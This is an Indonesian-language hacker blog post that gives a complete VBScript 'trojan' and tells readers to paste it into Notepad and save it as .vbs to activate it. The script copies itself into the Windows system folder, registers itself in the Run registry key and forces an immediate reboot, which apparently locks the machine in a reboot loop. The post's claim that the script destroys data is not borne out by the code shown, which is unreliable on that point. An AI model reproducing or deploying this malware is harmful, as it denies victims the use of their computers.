Membuat Virus Perusak Data Dari Notepad

Apa Kabar Sahabat Mafia HACKER ?
Kali ini saya akan membuat artikel mengenai " Membuat Virus Perusak Data Dari Notepad Jenis Trojan "

Silahkan liat juga Artikel saya sebelumnya yang berjudul :
" Cara Mengatasi Email Dari Notifikasi Akun Facebook " 

Langsung saja tanpa basa basi, kali ini saya akan membuat artikel dengan judul :

" Membuat Virus Perusak Data Dari Notepad Jenis Trojan "

Bagi Teman teman yang ingin belajar membuat virus, kali ini saya akan memberikan sebuah script untuk membuat virus sederhana dari notepad berjenis trojan, virus ini pun mampu merusak datadata yang terdapat di komputer / laptop kita, olehkarnanya apabila akan mencobanya harus berhati hari dalam pengoprasiannya, caranya apabila virus ini akan di tanamkan / dijalankan silahkan save script yang di tulis di notepad dengan ekstensi .vbs dan apabila tidak akan ditanamkan atau dijalankan simpan saja dengan ekstensi .txt 

Contoh :  

( Virus.vbs ) dengan file ekstensi tersebut maka virus akan aktif dan apabila di save dengan ekstensi ( Virus.txt ) maka virus ini tidak akan berjalan dan akan tersimpan berupa text / notepad.

Berikut adalah script untuk membuat virusnya :

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Silahkan Copy Semua Script Kode Diatas Dan PAstekan Di Notepad Dan Save Dengan Ekstensi .VBS Apabila Virus Akan Di Aktifkan, Dan Save Dengan Ekstensi .TXT Apabila Virus Hanya Akan Disimpan Di Notepad. Selamat Mencoba !!